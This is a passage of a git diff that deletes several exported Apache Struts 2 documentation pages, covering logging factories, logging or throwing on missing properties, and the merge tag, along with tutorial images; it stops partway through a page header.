-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Logging</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="logging.html">Logging</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Logging</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30747042">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30747042">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30747042">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30747042">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30747042">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30747042">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h3 id="Logging-Loggingsupport">Logging support</h3><p>XWork provides its own layer to support logging - it allows to use many different implementations.</p><p>Currently XWork provides support for the following libraries (in that order base on classpath discovery):</p><ul class="alternate"><li>Commons Logging</li><li><a shape="rect" class="external-link" href="http://www.slf4j.org/" rel="nofollow">SLF4J</a></li><li><a shape="rect" class="external-l [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">import com.opensymphony.xwork2.util.logging.Logger;
-import com.opensymphony.xwork2.util.logging.LoggerFactory;
-
-public class MyAction {
-
-    private static final Logger LOG = LoggerFactory.getLogger(MyAction.class);
-
-    private String userName;
-
-    public String execute() {
-        LOG.debug("MyAction executed with UserName [#0]", userName);
-        return "success";
-    }
-
-    // getter / setter
-
-}
-</pre>
-</div></div><h4 id="Logging-Implementingmyownfactory">Implementing my own factory</h4><p>You plug in your own logging solution, simple extend LoggerFactory class and provide a delegate which implements Logger interface, like below:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>JdkLoggerFactory which adds support for JDK logging</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">import com.opensymphony.xwork2.util.logging.Logger;
-import com.opensymphony.xwork2.util.logging.LoggerFactory;
-
-/**
- * Creates jdk loggers
- */
-public class JdkLoggerFactory extends LoggerFactory {
-
-    @Override
-    protected Logger getLoggerImpl(Class&lt;?&gt; cls) {
-        return new JdkLogger(java.util.logging.Logger.getLogger(cls.getName()));
-    }
-    
-    @Override
-    protected Logger getLoggerImpl(String name) {
-        return new JdkLogger(java.util.logging.Logger.getLogger(name));
-    }
-}
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>JdkLogger is a wrapper around java.util.logging.Logger and implements Logger interface</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">import com.opensymphony.xwork2.util.logging.Logger;
-import com.opensymphony.xwork2.util.logging.LoggerUtils;
-
-import java.util.logging.Level;
-
-/**
- * Delegates to jdk logger.  Maps fatal to Level.SEVERE along with error.
- */
-public class JdkLogger implements Logger {
-    
-    private java.util.logging.Logger log;
-    
-    public JdkLogger(java.util.logging.Logger log) {
-        this.log = log;
-    }
-
-    public void error(String msg, String... args) {
-        log.log(Level.SEVERE, LoggerUtils.format(msg, args));
-    }
-
-    public void error(String msg, Throwable ex, String... args) {
-        log.log(Level.SEVERE, LoggerUtils.format(msg, args), ex);
-    }
-    
-    ...
-}
-</pre>
-</div></div><p>Check <a shape="rect" class="external-link" href="http://struts.apache.org/2.x/xwork-core/apidocs/com/opensymphony/xwork2/util/logging/package-summary.html">the source code</a> to see more details.</p><h4 id="Logging-Definingwhichfactorytouse">Defining which factory to use</h4><p>Now you must tell XWork/Struts2 to use your implementation, just define system property like below:</p><p><code>-Dxwork.loggerFactory=com.demo.MyLoggerFactory</code></p><p>you can use the same to  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/make-struts-throw-exceptions-on-missing-properties-or-log-them.html b/content/docs/make-struts-throw-exceptions-on-missing-properties-or-log-them.html
deleted file mode 100644
index 3b33c74..0000000
--- a/content/docs/make-struts-throw-exceptions-on-missing-properties-or-log-them.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Make Struts throw exceptions on missing properties, or log them</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="make-struts-throw-exceptions-on-missing-properties-or-log-them.html">Make Struts throw exceptions on missing properties, or log them</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Make Struts throw exceptions on missing properties, or log them</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=5964611">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=5964611">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=5964611">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=5964611">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=5964611">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=5964611">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Start by setting <code>devMode</code> to <code>true</code>:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.devMode" value="true"/&gt;
-</pre>
-</div></div>
-<p>To log missing properties, then:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.ognl.logMissingProperties" value="true" /&gt;
-</pre>
-</div></div>
-<p>To throw exceptions when a property is missing, or when an exception occurs while evaluating an expression(this will break the pages if there is a problem on the expression):</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.el.throwExceptionOnFailure" value="true" /&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/merge.html b/content/docs/merge.html
deleted file mode 100644
index 43a5258..0000000
--- a/content/docs/merge.html
+++ /dev/null
@@ -1,228 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>merge</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="merge.html">merge</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">merge</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14143">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14143">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14143">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14143">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14143">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14143">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="merge-Description">Description</h2>
-
-<p></p><p>Component for MergeIteratorTag, which job is to merge iterators and successive
-call to the merged iterator will cause each merge iterator to have a chance to
-expose its element, subsequently next call will allow the next iterator to expose
-its element. Once the last iterator is done exposing its element, the first iterator
-is allowed to do so again (unless it is exhausted of entries).</p>
-
-<p></p><p>Internally the task are delegated to MergeIteratorFilter</p>
-
-<p></p><p>Example if there are 3 lists being merged, each list have 3 entries, the following will
-be the logic.</p>
-<ol><li>Display first element of the first list</li><li>Display first element of the second list</li><li>Display first element of the third list</li><li>Display second element of the first list</li><li>Display second element of the second list</li><li>Display second element of the third list</li><li>Display third element of the first list</li><li>Display thrid element of the second list</li><li>Display third element of the thrid list</li></ol>
-
-<h2 id="merge-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="merge-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-public class MergeIteratorTagAction extends ActionSupport {
-
- private List myList1;
- private List myList2;
- private List myList3;
-
- public List getMyList1() {
-     return myList1;
- }
-
- public List getMyList2() {
-     return myList2;
- }
-
- public List getMyList3() {
-     return myList3;
- }
-
-
- public String execute() throws Exception {
-
-     myList1 = new ArrayList();
-     myList1.add(&quot;1&quot;);
-     myList1.add(&quot;2&quot;);
-     myList1.add(&quot;3&quot;);
-
-     myList2 = new ArrayList();
-     myList2.add(&quot;a&quot;);
-     myList2.add(&quot;b&quot;);
-     myList2.add(&quot;c&quot;);
-
-     myList3 = new ArrayList();
-     myList3.add(&quot;A&quot;);
-     myList3.add(&quot;B&quot;);
-     myList3.add(&quot;C&quot;);
-
-     return &quot;done&quot;;
- }
-}
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:merge var=&quot;myMergedIterator1&quot;&gt;
-     &lt;s:param value=&quot;%{myList1}&quot; /&gt;
-     &lt;s:param value=&quot;%{myList2}&quot; /&gt;
-     &lt;s:param value=&quot;%{myList3}&quot; /&gt;
-&lt;/s:merge&gt;
-&lt;s:iterator value=&quot;%{#myMergedIterator1}&quot;&gt;
-     &lt;s:property /&gt;
-&lt;/s:iterator&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/message-resource-files.data/contact.png b/content/docs/message-resource-files.data/contact.png
deleted file mode 100644
index 380414e..0000000
Binary files a/content/docs/message-resource-files.data/contact.png and /dev/null differ
diff --git a/content/docs/message-resource-files.data/hellogreeting.png b/content/docs/message-resource-files.data/hellogreeting.png
deleted file mode 100644
index f9948b7..0000000
Binary files a/content/docs/message-resource-files.data/hellogreeting.png and /dev/null differ
diff --git a/content/docs/message-resource-files.data/register.png b/content/docs/message-resource-files.data/register.png
deleted file mode 100644
index 3943c2a..0000000
Binary files a/content/docs/message-resource-files.data/register.png and /dev/null differ
diff --git a/content/docs/message-resource-files.data/registerInput.png b/content/docs/message-resource-files.data/registerInput.png
deleted file mode 100644
index 080c960..0000000
Binary files a/content/docs/message-resource-files.data/registerInput.png and /dev/null differ
diff --git a/content/docs/message-resource-files.data/spanishform.png b/content/docs/message-resource-files.data/spanishform.png
deleted file mode 100644
index 8c2e424..0000000
Binary files a/content/docs/message-resource-files.data/spanishform.png and /dev/null differ
diff --git a/content/docs/message-resource-files.data/thankyou.png b/content/docs/message-resource-files.data/thankyou.png
deleted file mode 100644
index 63e12db..0000000
Binary files a/content/docs/message-resource-files.data/thankyou.png and /dev/null differ
diff --git a/content/docs/message-resource-files.html b/content/docs/message-resource-files.html
deleted file mode 100644
index 429a0d7..0000000
--- a/content/docs/message-resource-files.html
+++ /dev/null
@@ -1,213 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Message Resource Files</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="how-to-create-a-struts-2-web-application.html">How To Create A Struts 2 Web Application</a>&nbsp;&gt;&nbsp;<a href="create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html">Create Struts 2 Web Application With Artifacts In WEB-INF lib and Use Ant To Bui [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Message Resource Files</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811894">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811894">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811894">
